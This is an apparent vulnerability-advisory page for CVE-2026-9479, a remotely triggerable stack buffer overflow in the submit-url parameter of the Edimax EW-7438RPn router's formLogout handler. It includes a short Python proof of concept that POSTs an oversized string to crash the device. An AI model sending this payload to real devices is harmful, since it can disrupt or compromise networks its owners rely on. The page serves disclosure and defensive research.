Security Vulnerability Report
中文
CVE-2026-9479 CVSS 8.8 HIGH

CVE-2026-9479

Published: 2026-05-25 18:16:33
Last Modified: 2026-05-25 18:16:33

Description

A security vulnerability has been detected in Edimax EW-7438RPn 1.31. The affected element is the function formLogout of the file /goform/formLogout. The manipulation of the argument submit-url leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax EW-7438RPn 1.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual IP) target_url = "http://192.168.1.1/goform/formLogout" # Malicious payload to trigger stack-based buffer overflow # Adjust the length based on the specific buffer size of the device payload = { "submit-url": "A" * 1000 # Sending 1000 'A' characters to overflow the buffer } try: # Sending the POST request to the vulnerable endpoint response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print("Payload sent. Check if the device crashes or behaves abnormally.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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